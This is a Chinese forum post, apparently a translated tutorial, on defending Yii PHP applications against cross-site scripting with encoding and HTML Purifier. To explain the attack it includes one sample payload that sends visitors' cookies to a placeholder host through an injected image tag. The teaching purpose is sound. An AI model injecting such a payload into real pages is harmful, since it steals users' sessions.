yedong0839 2014-09-18 09:09:34 5227次浏览 1条回复 4 0 0

接着上篇继续翻译,上篇地址

跨站脚本攻击XSS原理

如果用户的输入的信息没有过滤与验证,就后台就直接交此信息输出到浏览器,这可能被恶意用户利用,从而进行XSS攻击。比如,用户输入JavaScript代码,而其它用户又浏览了此用户的信息,则可能造成用户的信息被窃取。典型案例是盗取用户的cookie信息。
示例:

<?php echo $user->name ?>的简历
//未过滤的用户输出数据:
<a href="/posts?name=<?php echo $user->login ?>"title='<?php echo $user->name ?>'>查看我的档案</a>

为什么上面示例有案例隐患呢?如果上例中$user->name是如下所示的代码:

张三<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>

那么当其它用户访问张三的档案的时候,将会从其它服务器加载一张图片,而此加载图片的请求携带着访问者的cookies信息。这就是XSS攻击基本的原理。
PHP提供htmlspecialchars函数将一些预定义的字符转(如: &,",’,<,>)换为 HTML 实体。上面示例中还有超链接,所以htmlspecialchars结合rawurlencode() 和 htmlspecialchars(, ENT_QUOTES)一起使用。

YII如何防范普通文本

用CHtml::encode()输出普通文本。示例:

<?php echo CHtml::encode($user->name) ?>

简历CHtml::encode()封装了htmlspecialchars函数,默认文本编码是YII应用的编码;所以如果需要输出的文本的编码不是UTF-8,就需要在YII的配置文件(main.php)里设置charset;
有时需要在CHtml::encode()前,使用PHP的strip_tags()去除HTML/XML标签。遇到这种情况,使用strip_tags后,切记要使用CHtml::encode();不要单独使用strip_tages()。

富文本

如果浏览器需要显示用户输入的HMTL代码,后台应该在保存用户输入数据前过滤。有几个PHP库解决这个问题,其中著名的如 Html Purifier 。Yii已经将Html Purifier封装成CHtmlPurifier。 示例:

<li class="comments">
    <?php
        $purifier = new CHtmlPurifier();
        $purifier->options = array(
            'HTML.Allowed' => 'p,a[href],b,i',
        );
        foreach (Comment::model()->findAll() as $comment) {
            // 危险的输出
            //echo "<li>" . $comment->text . "</li>\n";
            // 安全的输出
            echo "<li>" . $purifier->purify($comment->text) . "</li>\n";
        }
    ?>
</li>

一般使用富文本编辑器(如:TinyMCE,CkEditor)来满足用户输入HTML的需求。但Markdown或wiki syntaxt语言是个更好的选择。 示例:

<div class="comment">
    <?php
        $md = new CMarkdownParser();
        echo "<div>" . $md->transform($comment) . "</div>";
    ?>
</div>

URL

使用rawUrlEncode()转义网址中的URL部分,urlEncode()转义网址中的网址中的参数部分。 示例

<script>
    var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; 
</script>
<a href="/search/<?php echo rawUrlEncode($query)) ?>">转义网址中url部分</a>
<a href="/?param=<?php echo urlEncode($param) ?>">转义url的参数部分</a>
<a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">转义整个网址</a>

CHtml::encode()不能单独在这里使用,如$query = 'xxx.com?x="N & B"',因为CHtml::encode()会将’&’,转义成’&amp’。

CSS

使用Html Purifier处理CSS;(详见上章富文本的处理)。

JavaScript

使用CJavaScript的静态方法,对JS变量作转义输出; 示例:

<?php
    $messages = array("Rock'n roll", 'Say "hello"');
    $title = "D'accord";
    Yii::app()->clientScript->registerScript('snippet', "
        function displayMsg() {
            var messages = " . CJavaScript::encode($messages) . ";
            var title = '" . CJavaScript::quote($title) . "';
            // ...
        }
    ");

如果不需要YII转义JS,可以使用js:前缀。如下所示:

<?php
    $this->widget(
        'zii.widgets.jui.CJuiAutoComplete',
        array(
            'name' => 'field_name', // 默认会使用CJavaScript::quote 转义变量
            'source' => 'js:function(request, response) { $.ajax({...}) }', // 在代码前加“js:”前缀
您需要登录后才可以回复。登录 | 立即注册